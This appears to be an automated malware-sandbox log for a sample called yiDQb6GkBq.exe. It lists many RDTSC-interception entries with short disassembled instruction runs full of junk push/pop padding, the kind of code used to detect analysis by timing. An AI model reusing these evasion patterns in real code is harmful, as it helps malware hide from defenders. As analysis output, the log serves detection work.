Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8B4EF3 second address: 8B4EFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8B4EFB second address: 8B4EFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 858ED9 second address: 858EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8B9F18 second address: 8B9F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8B9F1C second address: 8B9F20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8B9F20 second address: 8B9F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C0DCA second address: 8C0DD2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C00EF second address: 8C0104 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F33B0B7C6C6h 0x00000008 jmp 00007F33B0B7C6CBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C0283 second address: 8C02A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B16h 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop ebx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C02A7 second address: 8C02BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B0B7C6D0h 0x00000009 pop esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C02BF second address: 8C02D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B10E1B14h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C0568 second address: 8C056C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C0987 second address: 8C098D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C0AD0 second address: 8C0AD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C0C06 second address: 8C0C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B10E1B18h 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C0C27 second address: 8C0C40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33B0B7C6CEh 0x00000008 jp 00007F33B0B7C6C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C0C40 second address: 8C0C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F33B10E1B16h 0x00000011 jmp 00007F33B10E1B0Ah 0x00000016 je 00007F33B10E1B06h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C0C61 second address: 8C0C6A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C38D8 second address: 8C3903 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B19h 0x00000007 je 00007F33B10E1B08h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C3903 second address: 8C391B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F33B0B7C6CEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C391B second address: 8C3925 instructions: 0x00000000 rdtsc 0x00000002 je 00007F33B10E1B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C8027 second address: 8C8031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F33B0B7C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 898312 second address: 898330 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jg 00007F33B10E1B06h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 898330 second address: 89836E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33B0B7C6D8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push ebx 0x00000012 jns 00007F33B0B7C6C8h 0x00000018 pop ebx 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d jne 00007F33B0B7C6CCh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 89836E second address: 898390 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F33B10E1B13h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 898390 second address: 8983F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F33B0B7C6C8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push 8F7F31BDh 0x0000002a jp 00007F33B0B7C6E7h 0x00000030 pushad 0x00000031 jmp 00007F33B0B7C6D9h 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 898553 second address: 898559 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 898634 second address: 898663 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F33B0B7C6C6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f ja 00007F33B0B7C6D8h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push esi 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 898663 second address: 8986A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F33B10E1B06h 0x0000000a popad 0x0000000b pop esi 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f push esi 0x00000010 jmp 00007F33B10E1B10h 0x00000015 pop esi 0x00000016 jo 00007F33B10E1B08h 0x0000001c push edi 0x0000001d pop edi 0x0000001e popad 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 pushad 0x00000024 pushad 0x00000025 jne 00007F33B10E1B06h 0x0000002b jnp 00007F33B10E1B06h 0x00000031 popad 0x00000032 push ecx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 899113 second address: 899141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 js 00007F33B0B7C6C8h 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 popad 0x00000014 nop 0x00000015 sub edi, 43414B63h 0x0000001b lea eax, dword ptr [ebp+1247C9C6h] 0x00000021 mov dword ptr [ebp+122D280Ch], edx 0x00000027 nop 0x00000028 pushad 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 899141 second address: 899170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B10E1B14h 0x00000009 popad 0x0000000a jns 00007F33B10E1B0Ch 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 899170 second address: 878EAD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jo 00007F33B0B7C6C6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F33B0B7C6C8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 call dword ptr [ebp+124475BFh] 0x0000002d push eax 0x0000002e push edx 0x0000002f push ecx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 878EAD second address: 878EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B10E1B16h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C75C2 second address: 8C75C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C75C7 second address: 8C75CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C75CD second address: 8C75E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C75E9 second address: 8C75EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C75EF second address: 8C75F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C75F3 second address: 8C7628 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F33B10E1B15h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C7628 second address: 8C7648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B0B7C6D5h 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c pop esi 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C7648 second address: 8C7669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B10E1B17h 0x00000009 jnp 00007F33B10E1B06h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C77BB second address: 8C77BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C77BF second address: 8C77C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C77C3 second address: 8C77D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F33B0B7C6CAh 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C77D9 second address: 8C77FE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F33B10E1B10h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push ebx 0x0000000d push eax 0x0000000e je 00007F33B10E1B06h 0x00000014 pop eax 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C79BE second address: 8C79C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C7C57 second address: 8C7C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F33B10E1B15h 0x0000000c jp 00007F33B10E1B06h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C7C79 second address: 8C7C83 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F33B0B7C6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C7C83 second address: 8C7C89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8C7C89 second address: 8C7C99 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F33B0B7C6CEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8CD13B second address: 8CD149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F33B10E1B06h 0x0000000a pop ecx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8CD149 second address: 8CD172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B0B7C6D8h 0x00000009 pop ebx 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F33B0B7C6C6h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8CD172 second address: 8CD17B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8CD7E9 second address: 8CD7F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F33B0B7C6C6h 0x0000000a jng 00007F33B0B7C6C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8CCE06 second address: 8CCE18 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33B10E1B06h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8CCE18 second address: 8CCE1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8CDAE0 second address: 8CDAF5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F33B10E1B44h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8CDAF5 second address: 8CDB10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B0B7C6D1h 0x00000009 popad 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8CDDDB second address: 8CDDEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F33B10E1B06h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8CDDEA second address: 8CDDF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F33B0B7C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8CDDF4 second address: 8CDDF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8CE0F7 second address: 8CE137 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jne 00007F33B0B7C6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d jnp 00007F33B0B7C6F8h 0x00000013 jg 00007F33B0B7C6CCh 0x00000019 jne 00007F33B0B7C6C6h 0x0000001f pushad 0x00000020 jmp 00007F33B0B7C6CBh 0x00000025 jmp 00007F33B0B7C6D3h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8D5AF8 second address: 8D5AFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8D5AFE second address: 8D5B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8D5B02 second address: 8D5B06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8D5F05 second address: 8D5F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F33B0B7C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8D5F0F second address: 8D5F1F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F33B10E1B06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8D5F1F second address: 8D5F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8D6203 second address: 8D621A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F33B10E1B11h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8D6361 second address: 8D6366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8D6366 second address: 8D6380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F33B10E1B14h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8D6621 second address: 8D6636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jmp 00007F33B0B7C6CBh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8D6A0B second address: 8D6A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8DA19B second address: 8DA1BF instructions: 0x00000000 rdtsc 0x00000002 jns 00007F33B0B7C6DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8DCEC7 second address: 8DCECB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8DCECB second address: 8DCED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8DCED5 second address: 8DCEE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F33B10E1B06h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8DD005 second address: 8DD020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 jo 00007F33B0B7C6C6h 0x0000000e pop ecx 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 jng 00007F33B0B7C6C6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8DD167 second address: 8DD17B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33B10E1B08h 0x00000008 push edx 0x00000009 pop edx 0x0000000a jo 00007F33B10E1B0Eh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8E0942 second address: 8E0946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8E0946 second address: 8E094A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8E0BBD second address: 8E0BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
